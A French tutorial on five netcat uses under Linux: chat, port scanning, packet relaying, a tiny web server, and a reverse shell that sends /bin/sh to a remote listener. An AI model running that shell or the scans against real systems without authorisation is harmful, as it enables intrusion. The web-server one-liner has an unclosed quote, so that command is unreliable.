5 utilisations simples et faciles de Netcat sous Linux

5 utilisations simples et faciles de Netcat sous Linux

Netcat est un puissant utilitaire réseau en ligne de commande sous Linux qui peut envoyer et écouter des paquets TCP et UDP. Contrairement à d’autres outils réseau, netcat est extrêmement basique. Cependant, sa simplicité lui permet également de faire presque n’importe quel type d’activité sur un réseau.

Cet article vous montrera 5 tâches réseau simples que vous pouvez effectuer avec netcat. De plus, cet article mettra également en évidence ce qui rend netcat spécial et pourquoi vous devriez l’inclure dans votre boîte à outils Linux.

Comment fonctionne Netcat et pourquoi l’utiliser ?

Netcat est un utilitaire de base qui peut envoyer et recevoir des paquets réseau. Il a été publié pour la première fois en 1995 par un programmeur pseudonyme nommé Hobbit. Depuis lors, netcat a été une partie importante de chaque distribution Linux.

À la base, netcat fonctionne en envoyant des requêtes réseau d’un hôte Linux à un autre. Cette requête réseau peut contenir n’importe quel type de données et vous pouvez l’envoyer sur n’importe quel port.

Un terminal affichant un simple transfert de texte à l'aide de netcat.

Cette approche signifie que netcat peut créer n’importe quel type de connexion réseau possible. Par exemple, le programme peut créer des connexions TCP directes que vous pouvez utiliser pour transférer des fichiers ou créer des sessions shell inversées .

Un bureau montrant un simple transfert de fichiers entre deux hôtes Linux à l'aide de netcat.
Source de l’image : Pedro Lastra via Unsplash .

1. Session de chat entre pairs

L’une des utilisations les plus élémentaires de netcat est une simple session de chat peer to peer entre deux machines Linux. Il s’agit d’une méthode de communication qui ne repose sur aucun serveur tiers pour envoyer et recevoir des informations.

  • Pour que cela fonctionne, vous devez ouvrir un port entre 49152 et 65536 sur votre machine locale. C’est là qu’un hôte distant pourra se connecter et envoyer des informations arbitraires à votre machine.

sudo ufw allow 50000

  • Vous devez également ouvrir un port différent sur l’hôte distant pour que votre machine lui envoie des informations :

sudo ufw allow 50001

  • Exécutez netcatsur votre ordinateur avec les arguments suivants :

nc -lp 50000

Cela ouvrira une session netcat qui écoute activement les données sur le port 50000.

  • L’hôte distant peut maintenant envoyer n’importe quelle donnée texte vers votre machine locale. Par exemple, la commande suivante enverra l’entrée standard du système à une machine distante.

cat - | nc 192.168.122.136 50000

Un terminal affichant l'invite de saisie standard pour un chat netcat de base.
  • Afin de répondre au message, l’hôte distant doit également exécuter un démon d’écoute :

nc -lp 50001

  • Désormais, vous pouvez également envoyer un message de la machine locale à l’hôte distant :

cat - | nc 192.168.122.177 50001

Un terminal montrant deux terminaux virtuels pour une conversation netcat en duplex intégral.

2. Analyseur de port de base

Un scanner de ports est un utilitaire simple qui vérifie si un ensemble de ports d’une machine est accessible depuis un hôte distant. Ceci est très utile dans les cas où vous n’êtes pas sûr que votre système dispose des ports appropriés ouverts.

Pour vérifier un seul port, vous pouvez exécuter nc -vsuivi de l’adresse IP et du port que vous souhaitez vérifier :

nc -v 192.168.122.177 80

Un terminal affichant une analyse de port de base pour le port 80.

Vous pouvez également fournir une plage de numéros où netcat vérifiera séquentiellement chaque numéro de port à l’intérieur de cette plage. Par exemple, l’exécution de la commande suivante recherchera tous les ports « connus » ouverts :

nc -v 192.168.122.177 1-1024

Un terminal affichant une analyse groupée pour

L’un des inconvénients de l’interrogation des ports est qu’elle génère un trafic réseau inutile. Cela peut être un problème si vous testez une large gamme de ports dans un petit réseau domestique.

Pour résoudre ce problème, activez le mode « Zero I/O » de netcat qui ne crée aucune activité réseau sur l’hôte distant :

nc -zv 192.168.122.177 1-1024

Un terminal affichant une analyse de port en masse sans E/S avec netcat.

3. Coque inversée

Les shells inversés sont le pain et le beurre des tests de pénétration sous Linux. Ce sont des instances de shell distantes qui vous permettent de contrôler un système même sans ports entrants ouverts. Cela rend les shells inversés pratiques si vous devez accéder à une machine qui n’a pas d’accès SSH.

  • Pour créer un reverse shell, vous devez ouvrir un démon d’écoute sur votre machine locale :

nc -lp 50000

  • Démarrez une connexion netcat sur votre machine distante. Dans ce cas, vous devez également passer l’environnement shell de la machine distante :

nc -e /bin/sh 192.168.122.136 50000

  • Retournez sur votre ordinateur local et exécutez une commande shell. Par exemple, l’exécution lsimprimera le répertoire courant de l’utilisateur distant.

ls -la

Un terminal affichant la sortie d'un reverse shell réussi.
  • Pour mettre fin à la session reverse shell, vous pouvez appuyer sur Ctrl+ Csur le démon d’écoute de votre machine locale.
Un terminal montrant la fermeture du shell inverse dans la machine locale.

4. Relais de paquets de base

En plus de lire et d’écrire directement sur un flux réseau, vous pouvez également utiliser netcat pour rediriger une connexion entrante vers n’importe quel port sortant. Cela fonctionne en enchaînant plusieurs sessions d’écoute et de client netcat à l’aide de canaux UNIX.

  • Créez une session netcat qui écoute sur le port 50000. Cela servira de port sortant pour votre relais de base :

nc -lv localhost 50000

  • Ouvrez un nouveau terminal et exécutez la commande suivante :

nc -lv localhost 50001 | nc localhost 50000

Cela créera un nouveau démon d’écoute sur le port 50001 et il redirigera automatiquement tous les paquets sur ce port vers le port 50000.

Un terminal montrant la connexion passthrough entre deux ports.
  • Vous pouvez maintenant envoyer des données à votre port entrant et netcat redirigera automatiquement sa sortie vers votre port sortant.

echo "MakeTechEasier"| nc localhost 50001

Un terminal montrant un relais de paquets de base en action.
  • Outre les ports locaux, vous pouvez également utiliser cette fonctionnalité pour rediriger tout trafic réseau vers une autre machine. Par exemple, le code suivant envoie des données du port 50000 au même port sur un autre système :

nc -lv localhost 50000 | nc 192.168.122.177 50000

Un terminal montrant un relais de paquets de base entre deux hôtes.

5. Serveur HTTP de base

La configuration d’un serveur HTTP peut être un processus complexe même si vous ne souhaitez servir qu’une seule page. À cet égard, netcat peut également servir de simple serveur Web statique que vous pouvez lancer sous Linux sans installer d’outils supplémentaires.

  • Créez un fichier de réponse HTTP de base. L’extrait de code suivant affiche une page Web avec un message simple :

HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Server: netcat!

<!doctype html>
<html>
<body>
<h1>Hello MakeTechEasier!</h1>
</body>
</html>

  • Enregistrez-le sous « index.http » dans votre répertoire personnel.
Un terminal affichant la structure d'une simple réponse HTTP.
  • Exécutez la commande suivante :

while true; do { echo -e 'cat /home/$USER/index.http; } | nc -lv localhost 8080; done

Un terminal montrant un simple serveur Web netcat en cours d'exécution.

Vous avez maintenant un serveur Web fonctionnel. Vous pouvez visiter votre page Web en ouvrant un navigateur Web et en vous rendant sur http://localhost:8080.

Une capture d'écran montrant un serveur Web netcat fonctionnel servant une page Web.
  • Appuyez sur Ctrl+ Csur le terminal pour quitter la session en cours du serveur Web.
Un terminal montrant le processus de fermeture du serveur Web netcat de base.

Questions fréquemment posées

Je ne peux pas me connecter à une machine distante à l’aide de netcat.

Ce problème est probablement dû à un port de pare-feu bloqué sur la machine distante. Vous devez vous assurer que le port que vous utilisez sur votre machine est ouvert pour les connexions entrantes et sortantes. Par exemple, vous devez exécuter sudo ufw allow 49999si vous souhaitez utiliser le port 49999 sur la machine distante.

Est-il possible de se connecter à n’importe quel hôte en utilisant netcat ?

Non. Alors que netcat peut lire et écrire sur n’importe quel flux réseau arbitraire, il ne peut pas se connecter à une machine qui n’est pas détectable depuis le réseau de votre système. Il s’agit notamment des réseaux privés pour lesquels la redirection de port n’est pas activée, ainsi que des systèmes d’air gap qui n’ont pas d’accès au réseau.

Est-il possible d’usurper une connexion dans netcat ?

Non. En effet, netcat ne peut envoyer et recevoir des paquets qu’à partir d’une interface réseau valide. Cependant, vous pouvez modifier la provenance de ce paquet particulier si vous disposez de plusieurs interfaces réseau.

Par exemple, vous pouvez exécuter nc -l -s 10.0.0.2 -p 50000pour indiquer à netcat d’envoyer explicitement des paquets à l’aide de l’interface dont l’adresse IP est « 10.0.0.2 ».

Crédit image : ThisisEngineering RAEng via Unsplash . Toutes les modifications et captures d’écran par Ramces Red.

Laisser un commentaire

Votre adresse e-mail ne sera pas publiée. Les champs obligatoires sont indiqués avec *